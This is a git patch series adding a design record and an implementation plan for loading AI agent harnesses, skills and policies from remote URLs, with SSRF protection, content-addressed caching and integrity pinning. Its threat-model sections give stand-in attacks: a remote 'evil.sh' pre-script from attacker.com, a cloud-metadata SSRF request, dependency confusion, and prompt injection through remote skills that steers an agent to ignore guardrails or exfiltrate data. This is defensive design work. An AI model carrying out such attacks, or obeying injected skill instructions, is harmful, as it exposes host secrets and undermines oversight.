From 8672b28c7038cc031efe16ea9f359b3b269da708 Mon Sep 17 00:00:00 2001 From: Greg Allen Date: Thu, 7 May 2026 08:08:03 -0400 Subject: [PATCH 01/52] Add ADR-0030 and implementation plan for universal harness access Proposes making harnesses and agents universally accessible via HTTP(S) URLs, absolute paths, or relative paths. This enables community sharing, decentralized evolution of agent capabilities, and runtime adaptation. Key features: - URL support for declarative resources (agents, skills, policies) - Scripts/binaries must remain local for security - Content-addressed caching with integrity verification - SSRF protection (domain allowlists, no redirects, internal IP blocking) - Transitive dependency resolution - Stricter security scanning for remote resources (higher LLM Guard threshold) Security concerns prominently documented: - TOCTOU mitigation via content-addressed cache - Dependency confusion prevention via explicit URLs and domain allowlists - Prompt injection scanning required for all remote resources - Access policies constrain runtime resource loading Implementation changes detailed in docs/problems/universal-harness-access.md covering resource fetcher, dependency resolver, cache layer, audit logging, and migration path across four phases.

Universal harness access via URLs and paths + +Date: 2026-05-07 + +## Status + +Proposed + +## Context + +Currently, harnesses reference local files through relative paths resolved against the `.fullsend` directory structure (ADR-0024). A harness configuration might reference: + +```yaml +agent: agents/code.md +policy: policies/code.yaml +skills: + - skills/code-implementation +pre_script: scripts/pre-code.sh +``` + +All these paths are resolved to absolute paths relative to the `.fullsend` directory base. This works well for organization-controlled harnesses living in the `.fullsend` repository, but creates several limitations: + +1. **Harnesses cannot be shared externally.** A useful harness definition developed for one organization cannot easily be shared with another without copy-pasting the entire directory structure (harness YAML, agent definitions, skills, policies, scripts). + +2. **Agents are not standalone artifacts.** An agent definition in `agents/code.md` cannot reference external skills, community-maintained policies, or third-party tools without those resources being copied into the local `.fullsend` structure first. + +3. **Cross-repository composition is manual.** Organizations cannot maintain a library of reusable agent components (skills, policies) in a separate repository and reference them from multiple `.fullsend` repositories without manual synchronization. + +4. **Upstream/downstream friction.** Downstream organizations using fullsend want to consume upstream-provided harnesses, agents, and skills while maintaining local customizations. The current path-only model forces a fork-and-modify approach rather than allowing selective overlay of specific resources. + +5. **Runtime dependency discovery is static.** The harness declares all resources it needs upfront. Agents cannot discover and load additional skills, policies, or tools at runtime based on the specific problem they encounter. + +### Why this matters + +The goal is to make agents universally accessible: a harness should be invocable from anywhere, referencing resources from anywhere, without requiring a monolithic local copy of all dependencies. This enables: + +- **Community sharing:** "Here's a harness for Rust linting" as a single URL, not a 6-file directory structure +- **Composability:** Mix org-provided agents with community skills and upstream policies +- **Decentralized evolution:** Skill authors can publish skills independently; agent authors can reference them by URL +- **Runtime adaptation:** Agents can discover what they need during execution (e.g., fetch a domain-specific skill when encountering unfamiliar code) + +This is analogous to how modern programming ecosystems work: you don't copy `requests.py` into your repo, you declare `requests==2.31.0` and the package manager fetches it. Harnesses should be similarly composable. + +### The transitive closure problem + +If a harness can reference a skill by URL, and that skill references a policy file, the policy file must also support URL or path references. If the policy references a tool binary, the binary must be fetchable. This **transitive closure** property must apply uniformly: anything referenced by a harness component must itself be accessible via URL or path. + +## Options + +### Option A: URL support everywhere with local caching + +Extend every path field in the harness schema to support three forms: + +1. **Absolute file path:** `/opt/fullsend/agents/code.md` +2. **Relative file path:** `agents/code.md` (resolved against `.fullsend` base) +3. **HTTP(S) URL:** `https://github.com/fullsend-ai/library/agents/code.md` + +When the runner encounters a URL, it fetches the resource, caches it locally (content-addressed by SHA256), and validates its integrity before use. All referenced resources (skills, policies, scripts, binaries) support the same three forms, creating a uniform resolution model. + +**Transitive closure:** A URL-referenced skill that itself references `policy: https://example.com/policy.yaml` triggers a recursive fetch. The runner builds a complete dependency graph before sandbox creation. + +**Trade-offs:** +- **Pros:** Maximum flexibility. Enables community sharing, decentralized libraries, mix-and-match composition. Harnesses become portable. +- **Cons:** Introduces TOCTOU (time-of-check-time-of-use) attacks, content injection via compromised URLs, dependency confusion, and a new attack surface (any URL the runner fetches becomes a potential injection point). Requires robust caching, integrity checking, and SSRF protection. + +### Option B: URL support with explicit pinning + +Like Option A, but all URLs must include an integrity hash: + +```yaml +agent: https://github.com/fullsend-ai/library/agents/code.md#sha256=abc123... +``` + +The runner verifies the fetched content matches the declared hash before using it. This prevents TOCTOU attacks at the cost of requiring hash management for every remote resource. + +**Trade-offs:** +- **Pros:** Eliminates silent substitution attacks. Makes dependency versions explicit. +- **Cons:** Hash management is manual and error-prone. Updating a remote resource requires updating every hash reference. No auto-update path (by design). + +### Option C: URL support only for read-only resources + +Allow URLs only for declarative resources (agent definitions, skills, policies) but not for executable resources (scripts, binaries). Scripts and binaries must be local files. + +This reduces the attack surface: a compromised URL can deliver malicious agent instructions (mitigated by schema validation and output checking per ADR-0022) but cannot directly execute arbitrary code on the runner host. + +**Trade-offs:** +- **Pros:** Limits blast radius. Scripts running on the host (pre/post) are always local and auditable. +- **Cons:** Still allows prompt injection via malicious agent definitions or skills. Partial solution that doesn't address the full composability problem. + +### Option D: Local-only with explicit import tooling + +Keep the current local-path-only model. Introduce a `fullsend import` command that fetches remote harnesses, agents, skills, and policies, writes them to the local `.fullsend` structure, and optionally pins versions in a lock file. + +Harnesses remain local-only at runtime. Sharing and composition happen at development time, not runtime. + +**Trade-offs:** +- **Pros:** No runtime network dependencies. All resources are local and auditable before use. Lock file model (like `package-lock.json`) provides version pinning and integrity checking. +- **Cons:** No runtime adaptation. Harnesses are not standalone—sharing requires sharing the import manifest. Defeats the goal of universal access. + +### Option Z: No change (status quo) + +All resources remain local paths. Sharing requires manual copy-paste. + +**Trade-offs:** +- **Pros:** Simple. No new attack surface. Everything is auditable locally. +- **Cons:** Defeats the goal of universal harness access. Organizations cannot share or compose agents without manual duplication. + +## Decision + +**Deferred.** This decision requires deeper security analysis and consensus on the trust model. Propose **Option A with security extensions** (see Consequences) for discussion, but do not accept this ADR until the implementation plan in `docs/problems/universal-harness-access.md` is reviewed and key security questions are resolved. + +The proposed approach: +- Support URLs, absolute paths, and relative paths uniformly for all harness resources +- Fetch and cache remote resources content-addressed by SHA256 +- Validate integrity, apply SSRF protection, and enforce per-resource policies (read-only vs executable) +- Extend transitive closure to all referenced resources +- Introduce access policies that constrain what remote resources can do (more restrictive than local resources) + +## Consequences + +If Option A (URL support everywhere with security extensions) is accepted: + +### What changes + +- **Harness schema:** Every path field (`agent`, `policy`, `skills[]`, `host_files[].src`, `pre_script`, `post_script`, etc.) accepts URLs. +- **Resolution logic:** The runner resolves URLs by fetching, caching (content-addressed), and validating before use. +- **Transitive closure:** Referenced resources (skills, policies) are parsed to extract their own references, which are recursively fetched. +- **Access policies:** Runtime policies constrain what URL-referenced resources can do (e.g., URL-sourced scripts run with reduced privileges or not at all). + +### Security implications (CRITICAL) + +1. **TOCTOU (Time-of-Check-Time-of-Use):** A remote resource could change between fetch and use. **Mitigation:** Content-addressed caching. Once fetched and validated, the cached version is immutable. The cache key is `SHA256(URL + content)`. + +2. **Content injection via compromised URLs:** An attacker who controls a URL referenced by a harness can inject malicious agent instructions, skills, or policies. **Mitigations:** + - Schema validation (ADR-0022): All fetched resources are validated against their schema before use. + - Output validation: Agent output is validated regardless of source. + - SSRF protection: Runner applies URL allowlists (e.g., only `https://github.com`, `https://gitlab.com`, `https://cdn.fullsend.ai`). + - Signature verification (future): Remote resources could be signed by their publisher, verified by the runner. + +3. **Dependency confusion:** An attacker publishes a malicious skill at `https://attacker.com/skills/common-name` and tricks a harness into referencing it instead of the legitimate `https://fullsend.ai/skills/common-name`. **Mitigations:** + - Explicit URL references (no auto-resolution of names to URLs). + - URL allowlists per organization (configurable in `config.yaml`). + - Lock files (future): Pin exact URLs and hashes for all transitive dependencies. + +4. **Prompt injection via skills:** A URL-fetched skill contains adversarial instructions designed to manipulate the agent. **Mitigations:** + - All skills (local or remote) pass through the same security scanners (unicode normalization, context injection detection, LLM Guard). + - Remote skills are subject to more restrictive policies than local skills (e.g., cannot reference executable scripts). + +5. **Executable code from URLs:** Pre/post scripts fetched from URLs run on the runner host with full privileges. **Mitigation:** Apply **Option C** restriction: scripts and binaries must be local files. Only declarative resources (agents, skills, policies, schemas) can be URLs. Or, URL-sourced scripts run in a restricted sandbox with no access to secrets. + +6. **Runtime dependency discovery increases attack surface:** If agents can fetch resources at runtime based on dynamic input (e.g., "I need a Python linting skill for this repo"), an attacker can manipulate input to trigger fetch of a malicious resource. **Mitigations:** + - Runtime resource loading is opt-in per harness (disabled by default). + - All runtime-fetched resources go through the same validation and caching. + - Audit log of all fetched URLs per agent run. + +7. **SSRF (Server-Side Request Forgery):** The runner's URL fetch mechanism could be exploited to probe internal networks or exfiltrate data via DNS. **Mitigations:** + - URL allowlists (only permit known-good domains). + - No URL redirects (HTTP 3xx responses are rejected). + - No internal IPs (reject `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `fc00::/7`). + - No non-HTTPS URLs (reject `http://`, `ftp://`, `file://`). + +### Access policy design + +The implementation must address **how access policies work when agents don't know what they need until runtime.** Proposed model: + +- **Static resource declaration:** The harness declares allowed URL prefixes (e.g., `allowed_remote_resources: ["https://github.com/fullsend-ai/library/"]`). +- **Runtime fetch is constrained by declaration:** The agent can fetch any URL matching an allowed prefix. Fetches outside allowed prefixes are blocked. +- **Audit and alert:** All runtime fetches are logged. Anomalous fetch patterns (e.g., sudden fetches from a new domain) trigger alerts. + +### Changes required + +See `docs/problems/universal-harness-access.md` for detailed implementation plan. Key changes: + +1. **Harness loader (`internal/harness/harness.go`):** Add URL resolution and caching logic. +2. **Resource fetcher (new package `internal/fetch/`):** HTTP client with SSRF protection, caching, integrity checking. +3. **Transitive resolver (new package `internal/resolve/`):** Build dependency graph for harnesses, recursively fetch and validate. +4. **Access policy enforcement (`internal/security/`):** Validate fetched resources against org-level and harness-level policies. +5. **Schema extension:** Add `allowed_remote_resources[]` to harness YAML. +6. **CLI flag:** `fullsend run --offline` to disable all network fetches (fail if harness references a URL). + +### Open questions + +- **Signature verification:** Should remote resources be signed? By whom? Using what PKI? +- **Namespace governance:** Who controls `https://cdn.fullsend.ai/skills/`? How do community contributors publish? +- **Version resolution:** If a skill references `policy: v2` but doesn't specify a URL, how is that resolved? +- **Offline mode:** Should the runner support an offline mode where all resources must be pre-cached? +- **Lock file format:** What does a dependency lock file look like for harnesses? + +## Related Work + +This pattern is well-established in other ecosystems: + +- **GitHub Actions:** Workflows reference actions via `uses: actions/checkout@v4` (a GitHub URL shorthand). Actions are fetched at runtime. SHA pinning is recommended: `uses: actions/checkout@8e5e7e5...`. +- **Kubernetes:** Manifests reference container images by URL (`image: gcr.io/project/image:tag`). Digest pinning prevents tag mutation: `image: gcr.io/project/image@sha256:abc123...`. +- **npm/pip/cargo:** Packages reference dependencies by name+version. Lock files pin exact versions and integrity hashes. + +The proposed model combines these patterns: URL-based references (like GitHub Actions) with content-addressed caching (like container images) and optional lock files (like npm). + +## Implementation Plan + +See `docs/problems/universal-harness-access.md` for full implementation details, security analysis, and migration path. diff --git a/docs/problems/universal-harness-access.md b/docs/problems/universal-harness-access.md new file mode 100644 index 000000000..af3aa27b7 --- /dev/null +++ b/docs/problems/universal-harness-access.md @@ -0,0 +1,1045 @@ +# Universal Harness Access + +## Problem Statement + +Harnesses, agents, skills, and policies are currently local-only resources resolved via relative paths within a `.fullsend` directory structure.

Parse the skill to extract its `policy` and `dependencies` references +2. Recursively fetch and validate those resources +3. Build a complete dependency graph before sandbox creation + +This applies to all resource types: agents can reference skills, skills can reference policies, policies can reference schemas. The runner resolves the full transitive closure. + +### Content-Addressed Caching + +Fetched resources are cached locally using content addressing: + +``` +~/.cache/fullsend/resources/ + sha256/ + abc123.../ + metadata.json # {url, fetch_time, content_type, headers} + content # the actual fetched content +``` + +Cache key: `SHA256(content)` +Lookup: `SHA256(URL) → cache_manifest.db → SHA256(content) → cached file` + +**Why content-addressed?** If two different URLs serve identical content, they share a cache entry. This deduplicates storage and makes integrity verification uniform. + +**Cache TTL:** Configurable per organization. Default: 24 hours for mutable URLs, indefinite for pinned URLs (those with `#sha256=...` fragment). + +**Offline mode:** `fullsend run --offline ` disables network fetches. If any required resource is not in cache, the run fails. Useful for CI environments with no internet access. + +### Integrity Verification + +URLs can include an integrity hash as a fragment: + +```yaml +agent: https://github.com/fullsend-ai/library/agents/code.md#sha256=abc123... +``` + +When present, the runner: +1.

Rejects if mismatch + +If no hash is provided, the resource is fetched and used (after validation), but the runner logs a warning: "Resource fetched without integrity pin." + +**Recommendation:** Org-level policy should require integrity hashes for all production harnesses. Dev/experimental harnesses can omit hashes for rapid iteration. + +### SSRF Protection + +The URL fetch mechanism must prevent Server-Side Request Forgery attacks. + +**Implemented defenses:** + +1. **Protocol allowlist:** Only `https://` permitted. Reject `http://`, `ftp://`, `file://`, `gopher://`, etc. +2. **Domain allowlist:** Configurable in `config.yaml`: + ```yaml + security: + remote_resources: + allowed_domains: + - github.com + - gitlab.com + - cdn.fullsend.ai + # Reject all others + ``` +3. **No redirects:** HTTP 3xx responses are rejected. The URL must return 200 OK directly. +4. **Internal IP rejection:** Refuse to fetch from: + - `127.0.0.0/8` (loopback) + - `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC 1918 private) + - `169.254.0.0/16` (link-local) + - `fc00::/7` (IPv6 ULA) + - `::1` (IPv6 loopback) +5. **DNS rebinding protection:** Resolve the domain to an IP, check the IP against the blocklist, then fetch. If DNS resolves to an internal IP, reject. +6. **Timeout:** 30-second timeout on all fetches. No long-lived connections. +7. **Size limit:** Reject responses larger than 10 MB. Agents, skills, and policies should be small. + +**Implementation:** New package `internal/fetch/` provides `FetchURL(url string, policy FetchPolicy) ([]byte, error)` with all defenses built in. + +### Security Scanning for Remote Resources + +All remote resources (agents, skills, policies) pass through the same security scanners as local resources: + +- **Unicode normalization** (detect homoglyph attacks) +- **Context injection detection** (adversarial prompt patterns) +- **SSRF validation** (if the resource contains URLs, validate them) +- **Secret redaction** (reject resources containing secrets) +- **LLM Guard** (ML-based prompt injection detection) + +From ADR-0024, these scanners are enabled by default with fail-closed semantics. Remote resources are scanned **before** being written to the cache, so a malicious resource is rejected at fetch time, not at use time. + +**Remote resources are subject to stricter policies than local resources:** + +| Check | Local Resource | Remote Resource | +|-------|----------------|-----------------| +| Schema validation | Required | Required | +| Unicode normalization | Required | Required | +| Context injection scan | Optional | **Required (no opt-out)** | +| LLM Guard threshold | 0.92 (configurable) | **0.95 (higher bar)** | +| Secret redaction | Required | Required | + +This reflects the higher risk of remote resources: an attacker who controls a URL can inject content, whereas local resources are org-controlled. + +### Dependency Graph and Resolution + +The runner builds a directed acyclic graph (DAG) of all resources before execution: + +``` +harness/code.yaml + ├─ agents/code.md (local) + │ └─ (no dependencies) + ├─ policies/code.yaml (local) + │ └─ (no dependencies) + ├─ skills/code-implementation (local) + │ └─ (no dependencies) + └─ https://github.com/fullsend-ai/skills/rust-conventions/SKILL.md + ├─ https://github.com/fullsend-ai/policies/rust-sandbox.yaml + └─ https://github.com/fullsend-ai/skills/cargo-integration/SKILL.md + └─ (no dependencies) +``` + +Resolution algorithm: + +1.

Repeat step 2 for new references (depth-first traversal) +5. Detect cycles (if skill A references skill B, and skill B references skill A, reject) +6. Fail if any resource cannot be fetched or validated + +**Output:** A `ResolvedHarness` struct containing absolute paths or cache paths for all resources. + +**Implementation:** New package `internal/resolve/` provides `ResolveHarness(h *harness.Harness) (*ResolvedHarness, error)`. + +### Runtime Dependency Loading (Future) + +The current design requires all dependencies to be declared in the harness. A future enhancement would allow agents to discover and load resources at runtime: + +```markdown +# Agent encounters unfamiliar code +The agent uses Bash to run: fullsend-fetch-skill rust-conventions +The runner fetches the skill if it matches allowed_remote_resources +``` + +This requires: + +1. **Runtime fetch API:** A `fullsend-fetch-skill` binary available in the sandbox, which sends a fetch request to the runner over a Unix socket. +2. **Access policy enforcement:** The harness declares `allowed_remote_resources: ["https://github.com/fullsend-ai/skills/"]`. Runtime fetches are allowed only if the URL matches a declared prefix. +3. **Audit logging:** All runtime fetches are logged with the agent's trace ID. + +**Security concern:** This expands the attack surface. An attacker who can manipulate agent input (e.g., via a crafted issue body) could trick the agent into fetching a malicious skill. Mitigations: + +- Runtime fetch is **opt-in** via `allow_runtime_fetch: true` in the harness +- All fetched resources go through the same validation +- Fetch requests are rate-limited (max 10 per agent run) +- Anomalous fetch patterns trigger alerts + +**Status:** Not implemented in initial design. Tracked in a future issue. + +### Access Policy Model + +The key challenge: **how do access policies work when agents don't know what they need until runtime?** + +Proposed model (two-phase): + +**Phase 1: Static declaration (implemented first)** + +The harness declares all allowed remote resource prefixes: + +```yaml +# harness/code.yaml +agent: agents/code.md +allowed_remote_resources: + - https://github.com/fullsend-ai/library/ + - https://cdn.fullsend.ai/ +skills: + - https://github.com/fullsend-ai/library/skills/rust-conventions/SKILL.md +``` + +The runner enforces: +- All URL references in the harness must match an `allowed_remote_resources` prefix +- Transitive dependencies must also match an allowed prefix +- No runtime fetches are allowed (agent cannot fetch new resources during execution) + +**Phase 2: Runtime fetch with policy (future)** + +The harness declares allowed prefixes, and the agent can fetch resources at runtime if they match: + +```yaml +# harness/code.yaml +agent: agents/code.md +allowed_remote_resources: + - https://github.com/fullsend-ai/library/ +allow_runtime_fetch: true +max_runtime_fetches: 10 +``` + +During execution, the agent can fetch `https://github.com/fullsend-ai/library/skills/python-linting/SKILL.md` because it matches an allowed prefix. The runner validates and caches it. + +**Audit:** All fetches (static and runtime) are logged: + +```json +{ + "trace_id": "abc123", + "fetch_time": "2026-05-07T12:34:56Z", + "url": "https://github.com/fullsend-ai/library/skills/rust-conventions/SKILL.md", + "sha256": "def456...", + "fetch_type": "static", // or "runtime" + "allowed_by": "allowed_remote_resources[0]" +} +``` + +### Inheritance and Overrides + +From ADR-0024, the `.fullsend` directory supports inheritance: + +- Fullsend ships defaults +- Org `.fullsend` repo overlays or adds resources +- Per-repo `.fullsend/` overrides individual files + +With URL support, an org can: + +1. Use an upstream harness as-is: + ```yaml + # .fullsend/harness/rust-linter.yaml + agent: https://github.com/fullsend-ai/library/agents/rust-linter.md + ``` + +2. Override specific resources: + ```yaml + # .fullsend/harness/rust-linter.yaml + agent: https://github.com/fullsend-ai/library/agents/rust-linter.md + policy: policies/org-rust-policy.yaml # local override + ``` + +3. Per-repo override: + ``` + my-repo/.fullsend/policies/org-rust-policy.yaml # repo-specific policy + ``` + +The resolution order remains: fullsend defaults → org `.fullsend` → per-repo `.fullsend`. URLs are resolved before inheritance—if the org harness references a URL, that URL is fetched regardless of whether fullsend's default had a local file. + +## Security Implications + +### Threat: Compromised URL Serves Malicious Content + +**Attack:** An attacker gains control of `https://github.com/user/library/agents/code.md` and replaces it with a malicious agent definition designed to exfiltrate secrets or inject backdoors. + +**Mitigations:** + +1. **Integrity pinning:** Require `#sha256=...` hashes for all production harnesses. A modified resource will fail hash validation. +2. **Security scanning:** All fetched resources are scanned for injection patterns. A malicious agent definition must pass LLM Guard at a higher threshold (0.95 vs 0.92 for local). +3. **Output validation (ADR-0022):** Even if a malicious agent runs, its output is validated against a schema. Non-compliant output is rejected. +4. **Audit logging:** All fetched URLs are logged. Anomaly detection can flag unexpected URL changes. + +**Residual risk:** If the attacker can produce a malicious agent that passes all scanners **and** produces schema-compliant output, it can succeed. This is the same risk as a malicious local agent—URL support does not introduce new risk here, it just extends the attack surface. + +### Threat: Dependency Confusion + +**Attack:** An attacker publishes a malicious skill at `https://attacker.com/skills/common-name` and tricks a harness into referencing it instead of the legitimate `https://fullsend.ai/skills/common-name`. + +**Mitigations:** + +1. **Explicit URLs:** Harnesses reference full URLs, not package names. There is no auto-resolution of "skill:common-name" to a URL (unlike npm, where `require('express')` resolves to the npm registry). +2. **Domain allowlist:** Org policy restricts allowed domains. `attacker.com` would be rejected unless explicitly allowed. +3. **Lock files (future):** A `harness.lock` file pins exact URLs and hashes for all transitive dependencies. Deviations trigger alerts. + +### Threat: SSRF via Runner + +**Attack:** An attacker crafts a harness that references `https://169.254.169.254/latest/meta-data/` (AWS metadata service) to exfiltrate cloud credentials. + +**Mitigations:** + +1. **Internal IP rejection:** The fetch mechanism refuses to connect to internal IPs (see SSRF Protection above). +2. **DNS rebinding protection:** Resolve domain to IP, check IP before connecting. +3. **No redirects:** A public URL cannot redirect to an internal IP. + +### Threat: Prompt Injection via Malicious Skill + +**Attack:** A URL-fetched skill contains adversarial instructions designed to manipulate the agent into ignoring security guardrails or exfiltrating data. + +**Mitigations:** + +1. **LLM Guard with higher threshold:** Remote skills are scanned at threshold 0.95 (vs 0.92 for local). +2. **Context injection detection:** Skills are scanned for known adversarial patterns. +3. **Sandbox isolation:** Skills run inside the sandbox with limited network access. They cannot directly exfiltrate data—they must produce output, which is validated. +4. **Output validation:** Even if the skill manipulates the agent, the output must conform to the declared schema. + +### Threat: TOCTOU (Time-of-Check-Time-of-Use) + +**Attack:** A resource is fetched and validated, but the remote server changes it between fetch and use. + +**Mitigations:** + +1. **Content-addressed caching:** Once fetched, the resource is cached immutably. The cache key is the content hash. The runner never re-fetches during a single run. +2. **Cache TTL:** For development, the cache can expire after 24 hours. For production, use integrity-pinned URLs (which never expire from cache). + +### Threat: Malicious Script Execution + +**Attack:** A harness references `pre_script: https://attacker.com/evil.sh`, which runs on the runner host with full privileges. + +**Mitigations:** + +1. **Scripts must be local:** Pre/post scripts, validation scripts, and API server scripts cannot be URLs. This is enforced at schema validation time. +2. **If this restriction is ever relaxed:** URL-sourced scripts must run in a restricted sandbox (separate from the agent sandbox) with no access to secrets, no network, no filesystem writes outside `/tmp`. + +## Implementation Changes + +### 1.

Signature verification + +Should remote resources be cryptographically signed by their publisher? + +**Options:** + +- **A: No signatures (current proposal).** Rely on HTTPS and domain allowlists. Trust GitHub/GitLab to serve correct content. +- **B: GPG signatures.** Resources include a detached `.sig` file. The runner verifies against a keyring. +- **C: Sigstore/cosign.** Use Sigstore for signing (same as container images). Requires keyless signing infrastructure. + +**Trade-off:** Signatures add strong provenance but require key management. For MVP, rely on HTTPS + integrity hashing. Add signatures in Phase 3. + +### 2. Namespace governance + +Who controls `https://cdn.fullsend.ai/skills/`? How do community contributors publish skills? + +**Options:** + +- **A: Centralized CDN.** Fullsend project maintains a blessed set of skills/policies at `cdn.fullsend.ai`. Contributors submit PRs to a central repo. +- **B: Decentralized publishing.** Anyone can publish skills on their own domain (e.g., `https://myorg.com/skills/`). Consumers add that domain to `allowed_remote_resources`. +- **C: Registry model (like npm).** A central registry (e.g., `registry.fullsend.ai`) where contributors can publish packages. Namespace squatting concerns apply. + +**Recommendation:** Start with B (decentralized). Organizations control which domains they trust via `allowed_remote_resources`. No central gatekeeping. + +### 3. Version resolution + +If a skill references `policy: rust-sandbox@v2` (a name+version, not a URL), how is that resolved to a URL? + +**Options:** + +- **A: No name resolution.** All references must be full URLs. No "magic" resolution of names to URLs. +- **B: Registry lookup.** Names like `@fullsend/rust-sandbox@v2` are resolved via a registry API to `https://cdn.fullsend.ai/policies/rust-sandbox/v2.yaml`. +- **C: Org-level alias file.** The org defines `aliases.yaml`: + ```yaml + rust-sandbox@v2: https://cdn.fullsend.ai/policies/rust-sandbox/v2.yaml + ``` + +**Recommendation:** Start with A (no name resolution). Use full URLs everywhere. If name resolution is needed later, introduce aliases (Option C) to avoid central registry dependency. + +### 4. Cache eviction + +The cache grows unbounded. When should cached resources be evicted? + +**Options:** + +- **A: TTL-based.** Cached resources expire after 24 hours (configurable). +- **B: LRU.** Keep the N most recently used resources. +- **C: Manual.** `fullsend cache clean` command to clear cache. + +**Recommendation:** A (TTL-based) for unpinned URLs, indefinite for pinned URLs. Add `fullsend cache clean` for manual eviction. + +### 5. Offline mode semantics + +If `--offline` is set and a harness references a URL, should the runner: + +**A:** Fail immediately (strict offline mode) +**B:** Use cached version if available, fail if not cached + +**Recommendation:** B. Offline mode allows cache hits.

Added security documentation for subdomain matching in domain allowlist. When adding example.com to allowed_domains, all subdomains (*.example.com) are also permitted. Added warning to only allowlist domains where subdomain control is restricted (e.g., github.com is safe, but generic cloud hosting domains could be risky). 2. Added validation for allowed_remote_resources entries to require HTTPS URLs. This prevents the confusing failure mode where http:// URLs pass prefix validation but fail at fetch time. Harness.Validate() now rejects any allowed_remote_resources entry that isn't an HTTPS URL. Low priority fixes: 3. Made deferred status more prominent in ADR Decision section.

Cache read errors (disk corruption, permission issues) now surface rather than silently falling through to re-fetch. All changes are in illustrative code examples within the implementation plan.

Elevated to a REQUIRED implementation constraint with explicit guidance on using custom http.Transport with DialContext to pin connections to pre-validated IPs, preventing DNS re-resolution attacks.

Insider threat: allowed_remote_resources governance + +**Decision:** Harness-level `allowed_remote_resources` lists must be a subset of the org-level allowlist in `config.yaml`. The runner validates this constraint at harness load time and fails with an error if a harness references a domain not present in the org-level allowlist. + +**Rationale:** This prevents insider/compromised credential attacks where an attacker adds `https://attacker-controlled.com/` to a harness. The org-level `config.yaml` is typically in the `.fullsend` repository which should already have CODEOWNERS protection on sensitive paths. This provides defense-in-depth: even if an insider can edit a harness file, they cannot introduce new external domains without also modifying the org-level configuration (which requires CODEOWNERS approval). + +**Implementation:** The harness `Validate()` method checks that every domain in `allowed_remote_resources` exists in the org-level allowlist. If validation fails, the harness is rejected before any resources are fetched. + +#### 2. Signature verification + +**Decision:** Phase 1 does not support signature verification. Hash pinning (mandatory SHA256 integrity hashes) provides content integrity. Signature verification is deferred to Phase 3 as an optional enhancement. + +**Rationale:** Hash pinning prevents content substitution attacks. Signatures add provenance (proving who published the resource) but require PKI infrastructure (key distribution, revocation, trust roots). For MVP, HTTPS transport security + domain allowlists + integrity hashes provide sufficient protection. Organizations that require stronger provenance can restrict `allowed_remote_resources` to domains they control. + +**Future consideration:** Phase 3 could add optional Sigstore/cosign support (similar to container image signing) or GPG detached signatures. + +#### 3. Namespace governance + +**Decision:** Decentralized publishing model. No centralized `cdn.fullsend.ai` or registry. Contributors publish resources on their own domains (GitHub repos, personal sites, org-controlled CDNs). Consumers add trusted domains to their org-level `allowed_remote_resources` allowlist. + +**Rationale:** Avoids central gatekeeping and single point of failure. Aligns with the threat model: organizations control what they trust via allowlists. The fullsend-ai organization may maintain reference implementations at `github.com/fullsend-ai/library/` as examples, but these have no special trust status — users must explicitly allowlist them. + +**Namespace collision:** Not a concern since all references are full URLs (no name resolution layer where collisions could occur). + +#### 4. Version resolution + +**Decision:** No version resolution. All resource references must be full URLs with explicit integrity hashes. No "magic" resolution of names or version specifiers to URLs. + +**Rationale:** Explicit URLs make dependencies auditable and prevent dependency confusion attacks. Version resolution requires a central registry (complexity, availability, trust) or org-level alias files (indirection that obscures actual dependencies). Full URLs are verbose but clear. + +**Alternative for ergonomics:** Organizations can use shell aliases or wrapper scripts if they frequently reference the same base URLs. Example: `fullsend run $LIBRARY/harness/rust-linter.yaml#sha256=...` where `LIBRARY=https://raw.githubusercontent.com/fullsend-ai/library/8cd3799...` + +#### 5. Offline mode + +**Decision:** Support offline mode via `fullsend run --offline `. In offline mode, the runner disables all network fetches. If any required resource (URL-referenced agent, skill, policy) is not in the local cache, the run fails immediately with an error listing the missing resources. + +**Rationale:** Enables CI/CD environments with no internet access (air-gapped, policy-restricted). Organizations can pre-populate the cache in a separate step (e.g., `fullsend cache warm `) before running in offline mode. Cache hits are still subject to integrity re-verification (re-hash cached content and verify it matches expected hash). + +**Implementation:** The `--offline` flag is a global runner option. When set, the `fetch.FetchResource` function returns an error immediately if the requested URL is not in cache, rather than attempting an HTTP request. + +#### 6. Lock file format + +**Decision:** Phase 3 introduces harness lock files at `.fullsend/lock.yaml`. Lock files pin all transitive dependencies (resources referenced by resources) with full URLs and integrity hashes. See implementation plan (docs/plans/universal-harness-access.md) for detailed schema. + +**Schema summary:** +```yaml +# .fullsend/lock.yaml +version: 1 +harnesses: + rust-linter: + resolved_at: "2026-05-12T10:00:00Z" + dependencies: + agent: + url: https://raw.githubusercontent.com/fullsend-ai/library/8cd3799.../agents/rust.md + sha256: abc123... + fetched_at: "2026-05-12T10:00:00Z" + skills: + - url: https://raw.githubusercontent.com/fullsend-ai/library/8cd3799.../skills/cargo-check/SKILL.md + sha256: def456... + transitive_deps: + - url: https://raw.githubusercontent.com/fullsend-ai/library/8cd3799.../policies/rust-sandbox.yaml + sha256: ghi789... +``` + +**Rationale:** Lock files provide dependency pinning (reproducible builds), transitive closure visibility (auditability), and automated updates (tools can rewrite lock files when dependencies change). Similar to `package-lock.json` in npm. + +**Lock file workflow:** `fullsend lock ` resolves all dependencies, generates/updates the lock file. `fullsend run ` prefers lock file entries if present, warns if lock file is stale (resource hash doesn't match). + +#### 7. URL scheme: bare https:// vs git+https:// + +**Decision:** Phase 1 supports bare `https://` URLs only. Structured VCS references (e.g., `git+https://github.com/org/repo.git//path@ref` or `github:org/repo/path@ref`) are deferred to Phase 2/3. + +**Rationale:** Bare `https://` URLs have low barrier to entry, work with any hosting (GitHub, GitLab, static CDN, personal server), and are simple to understand. The mandatory `#sha256=...` integrity hash provides content pinning regardless of URL mutability. + +**VCS-specific schemes trade-off:** Structured references like `git+https://` enable automation (dependabot-style updates that understand git semantics), make VCS coupling explicit, and provide stable API via tags/commits. However, they increase complexity (multiple URL parsers, VCS-specific logic) and reduce portability (what if a resource moves from GitHub to GitLab?). -**Note:** These questions are intentionally deferred to future work and do not block acceptance of this ADR. The core architectural decision (URL support for declarative resources with mandatory integrity hashing, SSRF protection, and content-addressed caching) is production-ready and can be implemented incrementally per the phased plan. The questions below address enhancements, governance models, and operational details that can be resolved through community input, operational experience, and subsequent ADRs as the ecosystem matures. +**Future enhancement:** Phase 2/3 could add opt-in support for structured references as an alternative to bare URLs. The implementation plan would translate `github:org/repo/path@ref` to a raw.githubusercontent.com URL with commit SHA lookup, then apply the same fetch/cache/validate logic. Both URL forms would coexist. -- **Insider threat: allowed_remote_resources governance:** The 